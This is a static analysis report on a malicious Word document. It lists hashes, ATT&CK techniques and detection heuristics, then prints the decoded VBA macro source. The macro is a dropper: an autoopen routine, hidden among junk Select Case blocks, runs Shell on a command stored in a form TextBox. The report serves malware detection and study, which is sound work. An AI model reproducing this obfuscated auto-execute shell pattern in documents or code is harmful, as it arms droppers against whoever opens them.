Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 d595178e8e15abb1…

MALICIOUS

Office (OLE)

152.9 KB Created: 2018-12-18 17:28:00 Authoring application: Microsoft Office Word First seen: 2019-01-12
MD5: 7f996c228dce88499ea7c98332a07c66 SHA-1: 90ff866f29749600e4782818fa49c3da5c74e26d SHA-256: d595178e8e15abb1cde20247969067999c1a497bf09b42e4dbda425c18b96155
250 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File

The sample is a malicious Office document containing VBA macros. The 'autoopen' macro triggers a 'Shell()' call, which is a critical finding indicating the execution of arbitrary commands. This is further supported by a high-severity heuristic for suspicious 'cmd.exe' invocation. The VBA code appears obfuscated, but the presence of the Shell() call strongly suggests it's designed to download and execute a second-stage payload.

Heuristics 8

  • ClamAV: Doc.Malware.Generic-6788060-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Generic-6788060-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
          End Select
    E144167701 = Array(v670974, l578955, G42920, Interaction.Shell(CleanString(r432069238178.TextBox1), 52 - 52), W040848)
       Select Case T8620
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Control = "TextBox1, 0, 0, MSForms, TextBox"
    Sub autoopen()
    F32694817
  • Suspicious cmd.exe invocation with execution flag high SC_STR_CMD
    Suspicious cmd.exe invocation with execution flag
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 6123 bytes
SHA-256: 8a0c0c2e40a39c3440e1e207b34a67f0ac7051e326038c1b5916177c7a9480c6
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "r432069238178"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "TextBox1, 0, 0, MSForms, TextBox"
Sub autoopen()
F32694817
End Sub

Attribute VB_Name = "U34165156564"
Function F32694817()
On Error Resume Next
   Select Case k0699
         Case 306970480
            W6775 = Tan(G3714 - Rnd(a445) / 41310518 - Tan(V8692))
            G531 = Round(u356 * Chr(183878701))
         Case 158223916
            H3039 = 110136847
            O482 = Round(U650 + Chr(J165 + Log(62313832) - z612 / Hex(264771132)))
         Case 282220791
            d0063 = z2936
            E4497 = W3045
      End Select
   Select Case c743
         Case 147179323
            i8604 = Tan(F5439 - Rnd(h6663) / 63185458 - Tan(N3935))
            n289 = Round(P952 * Chr(26308824))
         Case 168517913
            C267 = 65051232
            H1431 = Round(z5252 + Chr(l5196 + Log(129587513) - i100 / Hex(167248300)))
         Case 183846074
            D221 = i112
            j619 = s2535
      End Select
   Select Case T6178
         Case 269402366
            K536 = Tan(a4643 - Rnd(U7818) / 294940935 - Tan(P9014))
            Q2225 = Round(C0654 * Chr(219320706))
         Case 180899438
            i772 = 68192981
            c8384 = Round(K0502 + Chr(I736 + Log(113106667) - G729 / Hex(274839157)))
         Case 64589249
            V361 = N8952
            t5976 = z743
      End Select
   Select Case r9964
         Case 309806904
            Y206 = Tan(j470 - Rnd(z8371) / 36881557 - Tan(D646))
            Z332 = Round(M4557 * Chr(207834153))
         Case 234300782
            r6115 = 340871389
            S440 = Round(z9846 + Chr(b9287 + Log(113341154) - p2451 / Hex(107517537)))
         Case 48090157
            B2650 = T502
            M4057 = z919
      End Select
E144167701 = Array(v670974, l578955, G42920, Interaction.Shell(CleanString(r432069238178.TextBox1), 52 - 52), W040848)
   Select Case T8620
         Case 297576469
            B4029 = Tan(W1285 - Rnd(H117) / 156780631 - Tan(J3328))
            b9616 = Round(o344 * Chr(41823149))
         Case 120005322
            z3574 = 4205120
            w897 = Round(G129 + Chr(X9617 + Log(2061624) - T670 / Hex(75484806)))
         Case 279310474
            z7067 = f0260
            A9845 = Y9038
      End Select
   Select Case u329
         Case 197506545
            v861 = Tan(P429 - Rnd(V595) / 54703365 - Tan(a683))
            r5357 = Round(W0792 * Chr(120993908))
         Case 177881288
            j7079 = 191706140
            Q5621 = Round(A8872 + Chr(I144 + Log(207588600) - b022 / Hex(201295698)))
         Case 92518815
            Q965 = u0806
            j3725 = w201
      End Select
   Select Case r478
         Case 225531190
            O5782 = Tan(w0418 - Rnd(S147) / 165805713 - Tan(s8025))
            z4342 = Round(A367 * Chr(44584520))
         Case 104310844
            R8330 = 173380695
            R261 = Round(H099 + Chr(d2118 + Log(249258852) - j8015 / Hex(162227483)))
         Case 233705872
            A1216 = z743
            t3315 = T720
      End Select
End Function


Attribute VB_Name = "z67361979112"

Attribute VB_Name = "N466780954859"

Attribute VB_Name = "d0846109813521"

Attribute VB_Name = "u85236570"

Attribute VB_Name = "J35128931"

Attribute VB_Name = "I7368544992398"

Attribute VB_Name = "b1515109"

Attribute VB_Name = "G83829268978137"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "A174884373"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "l51553661"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "l2729349837"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "h7500656851"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Q701240702165"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "V69176989"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Y690878208982"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False